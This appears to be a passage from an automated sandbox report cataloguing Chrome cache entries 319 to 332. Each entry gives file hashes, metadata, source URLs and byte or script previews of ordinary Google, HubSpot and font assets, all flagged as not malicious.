.....s.W..A._M..}.....9A.....a.+..9.B....1....e....r.Q$TFAB.1.....U.d..u...Z.}N .2.."..DS..03.>TFABe......^..>.%.....&..[`N../..{F.......7.)'p..\..Qnrf...z...\|.......s.z..GE..\|.<...2........ed._...1*..

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.833627491072045
Encrypted:	false
SSDEEP:	24:HsH2EB/zOrf5IJ4QNApr+oQJy0pA+lzr1IdRQc4RSlOCWYEbimJG713+7BGspVN5:HC2EB/6qJ4BprSy0vllI84O1zEAN1v7
MD5:	4CA44276900C09211C7F8D543CDCBD46
SHA1:	7726D58BEADE37D5A4699B0AD36988307F9200C4
SHA-256:	DF97EA9E90D84C23DB7338BDCF8DD7A112C79A2F6C73C2B45B99AF80E4176828
SHA-512:	FE990FCBEB80D4B01E303EBE113AC1F29C7B240840DB6CAFCB36C7B0B1CE0B2FEAFF16B17691D9785CD6C966DA0D8A46A2265E713B3B81B4384037153AFC8FF3
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx..Up.J..w..233..r;..Y./s.!Pn..efFS......a..d...M...?..;.=:.2KY\..1....P.0...4...U+ZW.g..G....$..."p.l.L...~..^-.4.VP.Hm$...rB.83-4...........x.f..y$T..0.......$.G{.....#..^..! l.......\.S....0...V.E'..(.zs.,...+.8Z...s g+...~...E.7 ...)..9.............2..,..!..csj.E.....:E.'...;..`.N.3@.N.U...J..<...ax.m6.Y....!,...>U.H...<..{.i..mU.../..{.......... l.O^O...>0...$p...z..x.R..\".Iw.......%....[...\|.(mI..l2....&r.0......2...#..X.`.D..w......8.....#.t..'3....^].n.R....".R(.@.#.\P.j.....At...{.Z...A6...U...<..eL....?A.~..W.....y...$ t,....BR.`.. .<.....R]....1...n...N4JMw.l.... k....8.......%....$2.,_..?.jV..`z9o....g..~...+*..m.X$2d.D>-....@.2J.u..g..R..su\....l..(......./.Z..$J.]....R..<..+...[`8..\......l..O...&z.$.'A....&y.......@:.\|.D......[.D.N.{....:6!Q.wQ....6'.&......<....].O..G....M.....c.:.....Mv...1y..I...OC........E.T........Z.D-QT..F6f..".1.`...,...y....A[("+a...w.....

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	dropped
Size (bytes):	76656
Entropy (8bit):	5.447147308957311
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozN:dIyKGRKR6Q2y
MD5:	4A1958EF706F381A90B9EAC9E40BB071
SHA1:	D695EE6C3A390A73C689895587657BDC455DFF1B
SHA-256:	CEDC7A8B814E3510675A9AA8CFCE130CFA57CBA8476318F9B9F0D89C206B8D8A
SHA-512:	AACA9219357B386239352161D65F039AE40C51ECCB3AEA4909C5FDA40683C39143FBB99D85138E54F1D6FFA67085B4D76FE8A78A766AC4912D1DBA8D7BC8EB72
Malicious:	false
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	995
Entropy (8bit):	7.639192549568232
Encrypted:	false
SSDEEP:	24:FPNyy4vHNZ1YX6Hr2TUv3+N2DJnUrAh7rygfbn826RkVt+aAao:F1Qv2KHr2Yv3bywHPDpr3o
MD5:	4FBE61206A7C12DDDD6EFEB3C348E9D5
SHA1:	E73A1B9ECCA51A70DDA864D63EE24D4BB7348CA1
SHA-256:	17FD5A15FF2D0FFB050224CA1D81E01B8088E5ED6F07A4BE28292E89682C4048
SHA-512:	23E6E85EAF5AEEDC827FBF0E58E0D11D98D99EAA64AA24F8EA0C90903BE0FF329156CD3E3A50C6293C28D7FD28FFF0531F07B4E987C78A29C3CB5A228DC7BDD1
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/photos/v6/web-64dp/logo_photos_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx...d.Q..^'(..(..t...-..^.a.......bhi...(...4i. .5.`...(..,....^.}.}..$.}/..._........;...z/{..U...*....\|..W.~.......9...Se..?.Y...^I...'5............+.6=&3.t......{..... 3..6..........`..2.@......._P.o......3.p{6PF..%...W.....Tr.....7.......m{_.5.1DX.e.+>.a.1T..@.,Q..."..G.......]...O.<Yx........9..`..!..(..t...T.A...F.{^..uN...{B..bN..P..`..#..].....)V?.K..8"..P......., <......[U(.]Z ..'.....j....&."....'....>i#\|....F...Z..g.5.D0..{.....x.7...u.Ua..ECh.m....8....`..Nl.mHO[..1w.y.I....t...tW.......2.6.u0.}...f.F.>m.B....0..#.@...7...!....[.p)..z-L....Z..ts...4...T=c.0T;6R.e....W..ab...k..zT$..d}>..S..................P..?c.c.N.`W......)w.h.^7..`...TT(.g.E..-.,Mc..N. .V...5?.8..(....}.,....... .EP.8..+..... ...=...8.r..S.........N..fW.o8L..=..l`xb.c3....P......{Op.i..P&................&3.../..ph.2..UP..@....S...P...K..K..o.k..9..@.G..h.W......^..d..\.#z.\.......VdR$.:....%..........?.=-8.....IEND.B`.

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	124
Entropy (8bit):	3.9966702993597023
Encrypted:	false
SSDEEP:	3:kn+8/ZoS8/ZoSISHq/ZoS8/ZoS8/ZoS8/ZoSHjqtunD/ZoS8/ZYn:kn+8/ZoS8/ZoSfq/ZoS8/ZoS8/ZoS8/3
MD5:	1F6E4331F3B1F571DA472D2CE1AD4D54
SHA1:	26AC845115F9E6ABF6E0054BFB7CFBC3CDE19EB6
SHA-256:	4FEBCD3F79DAC314B5095035F6BA8CFB8BAB4E1DBCD8F15048BE4386F4897F83
SHA-512:	78F35AAC81DB5A0631B71A800AD23D84AFDC221B61746EED5D8F3D78714AB2FAEA31D5EFF6DC60A019A33D064F0DEE369BC8D0629E417D0821C81723EAF018FB
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSTwkeZXcHbQU32hIFDZFhlU4SBQ2RYZVOEgUNBu27_xIFDZFhlU4SBQ2RYZVOEgUNkWGVThIFDZFhlU4SBQ22xDOKEgUNkWGVThIFDZFhlU4=?alt=proto
Preview:	CloKBw2RYZVOGgAKBw2RYZVOGgAKBw0G7bv/GgAKBw2RYZVOGgAKBw2RYZVOGgAKBw2RYZVOGgAKBw2RYZVOGgAKBw22xDOKGgAKBw2RYZVOGgAKBw2RYZVOGgA=

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	dropped
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1629)
Category:	downloaded
Size (bytes):	101011
Entropy (8bit):	5.393831103144257
Encrypted:	false
SSDEEP:	1536:XTOe+KCITZEluPyxUy6HVsT+j3/m3MQXs98qw7:XTx+BefQ3hs98R
MD5:	64CF196C81F8A96E21199316382A30F3
SHA1:	8D4736AD220F6156711F75F46E56B2F5D1CD2223
SHA-256:	9A658763B73FFCEEB2D9AD051E399A976E82F33786A69AC470F1E3A69B19F203
SHA-512:	D5FE1054505EC8433BCA15C0D37FD7C2E9E65AE48071D2CB46E6502E437FE348E9FC611D97545A1ECB1A10B49A75F88499B3FFD29F1C54EB7987655340BC6BBC
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=_b,_tp/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=YYmHzb,byfTOb,lsjVmc,ebZ3mb,LEikZe,E2VjNc,lWpni,Id96Vc"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.bpa=function(a){if(a==null)return a;if(typeof a==="bigint")return a>=0&&(0,_.rd)(a)?a=Number(a):(a=BigInt.asUintN(64,a),a=(0,_.rd)(a)?Number(a):String(a)),a;if(_.Sc(a))return typeof a==="number"?_.dd(a):_.ed(a)};._.lv=function(a,b){var c=0;_.ka(a,function(d,e){b.call(void 0,d,e,a)&&_.sa(a,e)&&c++})};_.cpa=function(a){if(a instanceof _.mv)return a.j;throw Error("B");};_.nv=function(a){return new _.mv(_.Ka,a[0].toLowerCase())};_.ov=function(a,b,c,d){if(a.length===0)throw Error("B");a=a.map(function(f){return _.cpa(f)});var e=c.toLowerCase();if(a.every(function(f){return e.indexOf(f)!==0}))throw Error("ra`"+c);b.setAttribute(c,d)};_.pv=function(a){this.wa=_.y(a)};_.B(_.pv,_.A);._.qv=function(a){this.wa=_.y(a,7)};_.B(_.qv,_.A);_.qv.prototype.Bj=_.aa(32);_.qv.prototype.getType=function(){return _.qk(this,2)};_.qv.prototype.xe=function(a){return _.Ek(this,2,a)};_.qv.proto

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1058
Entropy (8bit):	7.565665121588422
Encrypted:	false
SSDEEP:	24:JZ7D39TqhAus/o2EtPh0jLWcPmyX3T3FgHzOpty+sNmwoTAZ6ZGotxnb:Jb+qQ/tPhELDeUKHzOLyvoFJjb
MD5:	95407664D6777D92E63257DF5814C794
SHA1:	E89791C12CA3E4F09B87BAB4E147A397940CCBA6
SHA-256:	300E7BF53911658D3E6FEA6C70F64DC681881D7E28563FFA03DD43553AFB295C
SHA-512:	5A16E0EEF283364B6845F5A8240C0AF2F4EBD68A83A21EBD8F85CF9F98760886DAAB570D358950BC0A974C6F9FD2DD96C2996973ECF1E2DF4D1F918B648AB820
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....\Q...eP.vc.....m....fP+...S.6..M......;.w./.~.;.g.y>;"......"..J...-.;52...<..g.'...}..F..`.s.'....'."N.L...........p.....lD.......c..].5.(....G:.......5.A.?62...8<v..G........t.....s[..pe..}.,....^w.k.;.4.?.#f\.Z.~.b......G.}n..x.......[..c-R..@...Go.^..U."...... x................[4.....W.....^..v..#.]\|!...L.@.#..v....T..Ke..o..>.L..E/................".;...Y#8....#..}..D..C......2. ....E#B@......'#..f`...n..D._..'1....m....D..@q.._..Y.n./D.#...g]..E.....U<.......k.....[.W.l.m.....J".{.X..1g...!F.E.S.g".>f<....%}J.L....@c..5...'..u...S.P&.-QA...\|3...jj...e..2x%...{.....)3....a...k.O....{4..M....<....4../........x.......w...I..M\.r..I...$...........o.y...<....<^I.......@{4...V"..".E.\8.2.[...[....u...;U0}'..&{b4wk.;.E.X..Q9.pW.5_v.l._...~j..,..x4...\|.`=.@....4..<.......?.(@...&..:...........V....H.-.......4...c....{;@-R....wu....*.w\|...?....<...8..x..K~.....p...x...X._......7..j?O.;.p....x\|.gj

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64990)
Category:	dropped
Size (bytes):	72794
Entropy (8bit):	5.410433979786684
Encrypted:	false
SSDEEP:	1536:zyLbbg0UN17URA3m5viI+MUdl7Jbx1UNA08vnTEjU18EOTQBs2CgTBQB:bI+MAl9b7UiTrm7T77
MD5:	4A70A25DE880416EBE88644F1ACEB430
SHA1:	DB08B4EABE2CD62BE189D16BE554C63BFE99A179
SHA-256:	E3213D3C85A31BD512810BC3674272311CA3054D596BC7EB093BE9D46E9CD87C
SHA-512:	8DECF527E873A599D6EACF0DA04608BE3A177C9D64443A048BF1463D55516066D96B61BD9AC94C69E96ED4472AFA8F59CD1BE30521F9B6EC85554378F81D5AB9
Malicious:	false
Preview:	var _hsp = window['_hsp'] = window['_hsp'] \|\| [];._hsp.push(['setBannerSettings', {}]);._hsp.push(['setCustomizationSettings', {}]);._hsp.push(['addCookieDomain', '.hsforms.com']);._hsp.push(['addCookieDomain', '.hs-sites.com']);._hsp.push(['addCookieDomain', '.hubspot.com']);._hsp.push(['addCookieDomain', '.hubspotpagebuilder.com']);._hsp.push(['addCookieDomain', '.results-staffing.com']);._hsp.push(['setApiBaseUrl', 'https://js.hs-banner.com/v2']);./*. HubSpot Cookie Banner Code Copyright 2024 HubSpot, Inc. http://www.hubspot.com. */.!function(){var e=[,function(e,t){var n;function o(){var e,t;t=arguments[0]\|\|{};this.config={};this.config.elements=t.elements?t.elements:[];this.config.attributes=t.attributes?t.attributes:{};this.config.attributes[o.ALL]=this.config.attributes[o.ALL]?this.config.attributes[o.ALL]:[];this.config.allow_comments=!!t.allow_comments&&t.allow_comments;this.allowed_elements={};this.config.protocols=t.protocols?t.protocols:{};this.config.add_attributes=t.a

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 270 x 187, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2167
Entropy (8bit):	7.812985831119513
Encrypted:	false
SSDEEP:	48:r1MMmIPhufihvPbUMfq2x29cw1jFgGtBp8:5LmIPRPbUMls9L1KGve
MD5:	DB842770F994586419C0219340ADB0EA
SHA1:	E2EDC6B31AC52ADFF5BE2A69D53B375BCF3B26D7
SHA-256:	26D9F96572E0695530C631CC80EC6E96A31E93B10551E7FE73D14168CF905053
SHA-512:	7D96E0FBF45C6DBD44AFD08F43F89AA76C40918A7F99F1E165498BCB614C24B4F268E5D39A614506B9E24DE9DFBAC2433BD2413A2BFC8F16E2E9E0037826F155
Malicious:	false
Preview:	.PNG........IHDR.....................PLTE............]]]...ddd333<<<...JJJ,,,$$$...........oooDDD......Q.....$...NNH......KK.YY....aa.......II.RR.OO.ii................qq...............X......~..GF.:.w^%.......C..L..$.tB....^+.a5..!..............RRR......zzz...............Hf....HIDATx...i......3......9MbG.c.i.M..@b;\|....2....G.yt~..xtY...A..!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!......c.x9......N}.?........Ok.7..?Z...../...Y...[...E....P..\|..a'. G..Mx....kxD.?I..{.-r(../.d.o...Mr(..d.p.g.(.....^z....?..^..2.....9.J.,..'..R..W......o>.>1r.......k.U>zf<[.!./.......{...9..UY....5..e....xZ.eU..$.;.$..,..U..(f....H^......&-.-6\|..>qE.....S....t!...8.#..b..'..ec..).^3..68:')H...6Z...vZ`'...B....&....4.....T..NsX...4,A..K.... .c...(v.Qqc.f9h.T.kr......H..[G..l.3...s.x...l..R.H..;.....'.kr.G..m.8uT9T...F<..m.X....7..nq...r.q..&....e..F..a%. ...&.{$G.......g9......U9~.L.x.J..2m....qT=.F'.l..G7u.6u...r.......y`...Q..Tb..w.!.!/.0fSsU...gU..`.fr.Q7*.........qAH

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1393
Entropy (8bit):	7.741695342683955
Encrypted:	false
SSDEEP:	24:D/6Bm17qS9DbPDQ45Gkds4VbbBYdVATpFxb+hs3xl0Sau164l2kFSWZR2vtUx2lH:D/6BmIG7hdbYdVules3xla+64l9wxVUo
MD5:	0EAA75E84E3B5D76E26B5BDEF873465E
SHA1:	79DAEA62FA0952E79644B23305210D61B6CBB631
SHA-256:	D375701BEED766135440CC65BD4CEDE9CC455C0116A362E124C3C2158EDCEFF4
SHA-512:	EE117EEF8002ABEF55C7521FDF265C597226994BDD4EDDF9965E22E1FBA4D8526544A6427F847C2BEA3B586B3E4C06BEB6584D1CCEF5A06AD4739CAF837DB7EB
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....pHYs.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx..[;l.A..;1!@.@......@" ....44\|KD.......E..(A"....ih ...@.H..B..)............>{w{...H..n.;;og.vfw..T.YM....^.m`...b.0.....V..^\....`Jo..B.-..}....F...)..wq..<6........5.L.a.a.q.}.."...J...g....FZ.....4m.4..n..i.g.8............3...w./:..Be....r.T%.0......g5..v.:..X.r.V..?...c_3.J...u ........da....).c.3p(...T.l.E..3....Q.9.R7{...'...MTQ. ..@...R.....j:up....j...w#?...\|.n.}E.........Q:.Q.._..n....W.Q...x.:.X...aU.....o;../4MS..P...Z....%...a.V...S...x...B..FfL{g....%'^......kd.C.U..7.;.....@{.\|.+K.o.0+;.........\%..,qA...(...@......."Gdd..^..C..c.w..S[.P....`......B^....~.c.'t...4 ...P..I$.....,.-.....Z.^..\M.....d.`...TV.LC.....`..H.....KYYB..,......o.../.\|v...d.Y......H.....q..Bq/. 09...7.@....."."n.".d..:'..r...x..F.O......m.i....}.....SS.'g7...\|1..d.dA........:T._..>.t....M...A..$....vN[.#..\|..7...,.J.."w...D.v4..F2..?}..@.mclf>w+...h.m..

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1966)
Category:	downloaded
Size (bytes):	7562
Entropy (8bit):	5.474831605216326
Encrypted:	false
SSDEEP:	192:3fODlRD/QHF0l8dbLRxHFveL6WqNM5I/9TrK:vODz/AzbL/HcLf+9Tu
MD5:	A27E26C0DFF8F077EF194FC93E6DBEF0
SHA1:	EDE7F27A613744FA00333593D13390D256169D4A
SHA-256:	8BF67A6C9C5C40D991745F3F5E4B4ABEA22C02067ADC943BF32078C8AC6A9C37
SHA-512:	F1EE68F683A6C27250D9E9D82ABCE867B452DE872FE5D6509DE5B29F6D78E92FC9475D9F4C4F871C4BFA25CBADE62940217657B270BEB9270D69477EC51CBD3A
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=E2VjNc,Id96Vc,LEikZe,YYmHzb,_b,_tp,byfTOb,ebZ3mb,lWpni,lsjVmc,soHxf,t1sulf/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=JWUKXe"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.qAa=_.z("VNcg1e",[_.qn]);._.n("VNcg1e");._.V0=function(a){_.ro.call(this);this.j=null;this.tb=a.Ra.soy};_.B(_.V0,_.J);_.V0.qa=function(){return{Ra:{soy:_.bv}}};_.Ov(_.qAa,_.V0);._.p();._.rAa=_.z("JWUKXe",[_.qAa]);.var LFa;_.sK=_.G("c0v8t");LFa=function(a,b,c){this.scrollTop=a;this.v=b===void 0?0:b;this.j=c===void 0?!1:c};_.uK=function(a,b){b=b===void 0?0:b;_.ig.call(this);var c=this;this.ua=!!a.v;this.Aa=b===1;this.ya=this.ua?a.j.document.body:a;b=tK(this);this.tc=new MFa(b);this.na=new MFa(b);this.Qa=_.kl().height;this.H=void 0;this.j=new LFa(b,0);this.Ha=this.Ea.bind(this);this.N=null;this.oa=this.ua?a.get():a;this.v=new _.$r(this);_.mh(this,this.v);this.v.listen(this.oa,"scroll",this.Ha,this.Aa);this.N=function(){c.tc.j=!0;c.na.j=!0;c.Qa=_.kl().height};this.v.listen(this.oa,"resize",this.N,this.Aa);this.Ta=[]};._.B(_.uK,_.ig);_.uK.prototype.Db=function(){this.v.B

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
URL:	https://support.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1751
Entropy (8bit):	7.865853999293648
Encrypted:	false
SSDEEP:	48:i+8qaOHMLdhgyHBt/cTDuN9g7hzNaAUSWKA:i+mLbg2BtEHu/+hzmSNA
MD5:	7189438B65FFFABAEC412E3521A50F49
SHA1:	568D4132EE91FA14DEFFA2E3925F50B99A50065D
SHA-256:	FA52B3F8386F0370B37531601A6137BFBE39A4C2BEC8E724CB7E0E328FD8D7ED
SHA-512:	3DB985580774DEB57C74100408EBF45D02C3F4C98906EB58273E83EB29AF289254D7605317EFB760C563FE2F19A69924D36585043108EAC2B2D91AA09F0D06D3
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googleg/1x/googleg_standard_color_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx..{lSU...l.... ..4(..(..{.`b..m,...B..."dCc...!N..[x........1..N^..# .D.F." ....d..^.......ll...m..M~..r{{?.s...;gDj5...=.......s.c.u..]...L.K.=...B.<:.7....{..u%.J.&J..x..n....W..F...s.......S.9)a..s.S.E..K_..R..;n..i}........0R^.@.i..v[...T/$Ca...Z... ./......]b....e.H.%....l....cv./l..F\|~hv..<I...g?..$.%..\|.Q..oh4J..... ........;u8...r.w.LvT.=tgU....M......I...%.'.P.;,P.7cS..rv..\.{.q..$....%.......5.....O...@T...b...>.M..h..!......a.q%hDL.Q..F<.<..'k.....&mv{....b...7F.=..&)zs..c....uo.......0.z"..j.#R(x....P.\|E..'..zh..._#rV.....NA1.J..._....[-kxJ.....>..U#.U3.....+P.<..{..a...)}%......D...2.~\..M...L...t.22....:....Q.q...S..<..=<u.E.p"pTI..R.%>.[d ..N...o.3.n.'....U..5...!.%..?.G...B..Z..k.m..o)Au:...5..H...Z..#Au.*\B... ..(e?...e!.....@@.7..?d@P...3....}G......A......I0x........}...e.N......%.@mr.P..3.. .n}..)J...L>,.$X.- ..Z..A...5.7.V/.E. ..6E.....7.?..a.rr..M.......).0.M.D...Y..hJZ&.Ph?p.?..'..

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7060, version 1.0
Category:	downloaded
Size (bytes):	7060
Entropy (8bit):	7.965390774927561
Encrypted:	false
SSDEEP:	96:JVhAH9n3i/HLXAfmYBaNZVqjXzsJmHUguBA9ikWnkwz6sTr9+QGDkJUEluFanxxk:zKH9n3fmYBaNqjUuUzS9fc6WcWRx6z
MD5:	7A6C0568007C5692727D88A3F35D427C
SHA1:	41B70C6167AF04E3EDD81E3932C7283F391FBFC7
SHA-256:	403679CC3CA882653C21AEF04BC7566E5155D1B93A9FDB196D1F07D9AAAB20F9
SHA-512:	EEAE2F5631AC4D9D0D895B23EB1B3C5700BEB8E82C5E05B0707366B69173090A6BD55C9C0AA8D83C758C67E0141E3AEAD7C65D5A06987A533BE3345CEDC6E5EB
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2
